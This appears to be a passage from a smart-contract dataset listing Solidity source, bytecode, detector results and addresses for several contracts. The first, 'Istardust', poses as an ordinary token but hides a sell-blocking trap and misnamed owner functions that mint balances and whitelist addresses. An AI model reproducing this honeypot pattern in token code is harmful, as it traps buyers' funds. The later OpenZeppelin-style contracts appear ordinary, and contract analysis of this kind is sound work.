_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract Istardust {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender == owner);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
address tradeAddress;
function transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0x0), msg.sender, totalSupply);
}
}
|
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a72315820260805e721daada4ce5ea42a737fdcbe7304d218336f7a5798a83b97e59fc8b864736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 5,314 |
0xa2dfef57718312dfd45c7f66d77822c1f49aa474
|
pragma solidity ^0.4.24;
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return _a / _b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
// File: openzeppelin-solidity/contracts/access/rbac/Roles.sol
/**
* @title Roles
* @author Francisco Giordano (@frangio)
* @dev Library for managing addresses assigned to a Role.
* See RBAC.sol for example usage.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an address access to this role
*/
function add(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = true;
}
/**
* @dev remove an address' access to this role
*/
function remove(Role storage _role, address _addr)
internal
{
_role.bearer[_addr] = false;
}
/**
* @dev check if an address has this role
* // reverts
*/
function check(Role storage _role, address _addr)
internal
view
{
require(has(_role, _addr));
}
/**
* @dev check if an address has this role
* @return bool
*/
function has(Role storage _role, address _addr)
internal
view
returns (bool)
{
return _role.bearer[_addr];
}
}
// File: openzeppelin-solidity/contracts/access/rbac/RBAC.sol
/**
* @title RBAC (Role-Based Access Control)
* @author Matt Condon (@Shrugs)
* @dev Stores and provides setters and getters for roles and addresses.
* Supports unlimited numbers of roles and addresses.
* See //contracts/mocks/RBACMock.sol for an example of usage.
* This RBAC method uses strings to key roles. It may be beneficial
* for you to write your own implementation of this interface using Enums or similar.
*/
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
/**
* @dev reverts if addr does not have role
* @param _operator address
* @param _role the name of the role
* // reverts
*/
function checkRole(address _operator, string _role)
public
view
{
roles[_role].check(_operator);
}
/**
* @dev determine if addr has role
* @param _operator address
* @param _role the name of the role
* @return bool
*/
function hasRole(address _operator, string _role)
public
view
returns (bool)
{
return roles[_role].has(_operator);
}
/**
* @dev add a role to an address
* @param _operator address
* @param _role the name of the role
*/
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
/**
* @dev remove a role from an address
* @param _operator address
* @param _role the name of the role
*/
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
/**
* @dev modifier to scope access to a single role (uses msg.sender as addr)
* @param _role the name of the role
* // reverts
*/
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
/**
* @dev modifier to scope access to a set of roles (uses msg.sender as addr)
* @param _roles the names of the roles to scope access to
* // reverts
*
* @TODO - when solidity supports dynamic arrays as arguments to modifiers, provide this
* see: https://github.com/ethereum/solidity/issues/2467
*/
// modifier onlyRoles(string[] _roles) {
// bool hasAnyRole = false;
// for (uint8 i = 0; i < _roles.length; i++) {
// if (hasRole(msg.sender, _roles[i])) {
// hasAnyRole = true;
// break;
// }
// }
// require(hasAnyRole);
// _;
// }
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: contracts/crowdsale/utils/Contributions.sol
contract Contributions is RBAC, Ownable {
using SafeMath for uint256;
string public constant ROLE_MINTER = "minter";
modifier onlyMinter () {
checkRole(msg.sender, ROLE_MINTER);
_;
}
mapping(address => uint256) public tokenBalances;
mapping(address => uint256) public ethContributions;
address[] public addresses;
constructor() public {}
function addBalance(
address _address,
uint256 _weiAmount,
uint256 _tokenAmount
)
public
onlyMinter
{
if (ethContributions[_address] == 0) {
addresses.push(_address);
}
ethContributions[_address] = ethContributions[_address].add(_weiAmount);
tokenBalances[_address] = tokenBalances[_address].add(_tokenAmount);
}
/**
* @dev add a minter role to an address
* @param _minter address
*/
function addMinter(address _minter) public onlyOwner {
addRole(_minter, ROLE_MINTER);
}
/**
* @dev add a minter role to an array of addresses
* @param _minters address[]
*/
function addMinters(address[] _minters) public onlyOwner {
require(_minters.length > 0);
for (uint i = 0; i < _minters.length; i++) {
addRole(_minters[i], ROLE_MINTER);
}
}
/**
* @dev remove a minter role from an address
* @param _minter address
*/
function removeMinter(address _minter) public onlyOwner {
removeRole(_minter, ROLE_MINTER);
}
function getContributorsLength() public view returns (uint) {
return addresses.length;
}
}
|
0x6080604052600436106100cf5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630988ca8c81146100d4578063217fe6c61461013d5780633092afd5146101b85780634ab6d337146101d9578063523fba7f14610200578063715018a61461022157806371e2a657146102365780638da5cb5b1461028b57806392afc33a146102bc578063983b2d5614610346578063cfad741014610367578063e730395a1461038e578063edf26d9b146103af578063f2fde38b146103c7575b600080fd5b3480156100e057600080fd5b5060408051602060046024803582810135601f810185900485028601850190965285855261013b958335600160a060020a03169536956044949193909101919081908401838280828437509497506103e89650505050505050565b005b34801561014957600080fd5b5060408051602060046024803582810135601f81018590048502860185019096528585526101a4958335600160a060020a03169536956044949193909101919081908401838280828437509497506104569650505050505050565b604080519115158252519081900360200190f35b3480156101c457600080fd5b5061013b600160a060020a03600435166104c9565b3480156101e557600080fd5b506101ee610510565b60408051918252519081900360200190f35b34801561020c57600080fd5b506101ee600160a060020a0360043516610516565b34801561022d57600080fd5b5061013b610528565b34801561024257600080fd5b506040805160206004803580820135838102808601850190965280855261013b953695939460249493850192918291850190849080828437509497506105969650505050505050565b34801561029757600080fd5b506102a0610617565b60408051600160a060020a039092168252519081900360200190f35b3480156102c857600080fd5b506102d1610626565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561030b5781810151838201526020016102f3565b50505050905090810190601f1680156103385780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561035257600080fd5b5061013b600160a060020a036004351661064b565b34801561037357600080fd5b5061013b600160a060020a036004351660243560443561068f565b34801561039a57600080fd5b506101ee600160a060020a03600435166107b3565b3480156103bb57600080fd5b506102a06004356107c5565b3480156103d357600080fd5b5061013b600160a060020a03600435166107ed565b610452826000836040518082805190602001908083835b6020831061041e5780518252601f1990920191602091820191016103ff565b51815160209384036101000a600019018019909216911617905292019485525060405193849003019092209291505061080d565b5050565b60006104c2836000846040518082805190602001908083835b6020831061048e5780518252601f19909201916020918201910161046f565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922092915050610822565b9392505050565b600154600160a060020a031633146104e057600080fd5b61050d81604080519081016040528060068152602001600080516020610afd833981519152815250610841565b50565b60045490565b60026020526000908152604090205481565b600154600160a060020a0316331461053f57600080fd5b600154604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26001805473ffffffffffffffffffffffffffffffffffffffff19169055565b600154600090600160a060020a031633146105b057600080fd5b81516000106105be57600080fd5b5060005b81518110156104525761060f82828151811015156105dc57fe5b90602001906020020151604080519081016040528060068152602001600080516020610afd833981519152815250610952565b6001016105c2565b600154600160a060020a031681565b6040805180820190915260068152600080516020610afd833981519152602082015281565b600154600160a060020a0316331461066257600080fd5b61050d81604080519081016040528060068152602001600080516020610afd833981519152815250610952565b6106bc33604080519081016040528060068152602001600080516020610afd8339815191528152506103e8565b600160a060020a038316600090815260036020526040902054151561073457600480546001810182556000919091527f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b01805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0385161790555b600160a060020a03831660009081526003602052604090205461075d908363ffffffff610a2416565b600160a060020a038416600090815260036020908152604080832093909355600290522054610792908263ffffffff610a2416565b600160a060020a039093166000908152600260205260409020929092555050565b60036020526000908152604090205481565b60048054829081106107d357fe5b600091825260209091200154600160a060020a0316905081565b600154600160a060020a0316331461080457600080fd5b61050d81610a37565b6108178282610822565b151561045257600080fd5b600160a060020a03166000908152602091909152604090205460ff1690565b6108ab826000836040518082805190602001908083835b602083106108775780518252601f199092019160209182019101610858565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922092915050610ab5565b81600160a060020a03167fd211483f91fc6eff862467f8de606587a30c8fc9981056f051b897a418df803a826040518080602001828103825283818151815260200191508051906020019080838360005b838110156109145781810151838201526020016108fc565b50505050905090810190601f1680156109415780820380516001836020036101000a031916815260200191505b509250505060405180910390a25050565b6109bc826000836040518082805190602001908083835b602083106109885780518252601f199092019160209182019101610969565b51815160209384036101000a6000190180199092169116179052920194855250604051938490030190922092915050610ad7565b81600160a060020a03167fbfec83d64eaa953f2708271a023ab9ee82057f8f3578d548c1a4ba0b5b70048982604051808060200182810382528381815181526020019150805190602001908083836000838110156109145781810151838201526020016108fc565b81810182811015610a3157fe5b92915050565b600160a060020a0381161515610a4c57600080fd5b600154604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a0316600090815260209190915260409020805460ff19169055565b600160a060020a0316600090815260209190915260409020805460ff1916600117905556006d696e7465720000000000000000000000000000000000000000000000000000a165627a7a7230582097f9547b387b43d82c611d776b530fa2793e9f5e3a8ab9d13504d6924a9d4c100029
|
{"success": true, "error": null, "results": {}}
| 5,315 |
0x29239242a83479a4074cb1c9e2a3e6705a4a4455
|
pragma solidity ^0.5.10;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner, "Not authorized operation");
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Address shouldn't be zero");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @dev Collection of functions related to the address type,
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* This test is non-exhaustive, and there may be false-negatives: during the
* execution of a contract's constructor, its address will be reported as
* not containing a contract.
*
* > It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Tozex ERC20 Mintable token
* @dev Issue: contact support@tozex.io
* @author Tozex.io
*/
contract MintableToken is ERC20, Ownable {
using Address for address;
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
address public tokenOwner;
address private crowdsale;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) internal allowed;
event SetCrowdsale(address indexed _crowdsale);
event Mint(address indexed to, uint256 amount);
event MintFinished();
event UnlockToken();
event LockToken();
event Burn();
bool public mintingFinished = false;
bool public locked = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier canTransfer() {
require(!locked || msg.sender == owner);
_;
}
modifier onlyCrowdsale() {
require(msg.sender == crowdsale);
_;
}
modifier onlyAuthorized() {
require(msg.sender == owner || msg.sender == crowdsale);
_;
}
constructor(string memory _name, string memory _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = 0;
balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
/**
* @dev Function to mint tokens
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) public onlyAuthorized canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner public canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
function burn(uint256 _value) public onlyAuthorized returns (bool) {
totalSupply = totalSupply.sub(_value);
balances[address(this)] = balances[address(this)].sub(_value);
emit Burn();
emit Transfer(address(this), address(0), _value);
return true;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public canTransfer returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFromContract(address _to, uint256 _value) public onlyOwner returns (bool) {
require(_to != address(0));
require(_value <= balances[address(this)]);
balances[address(this)] = balances[address(this)].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(address(this), _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public canTransfer returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
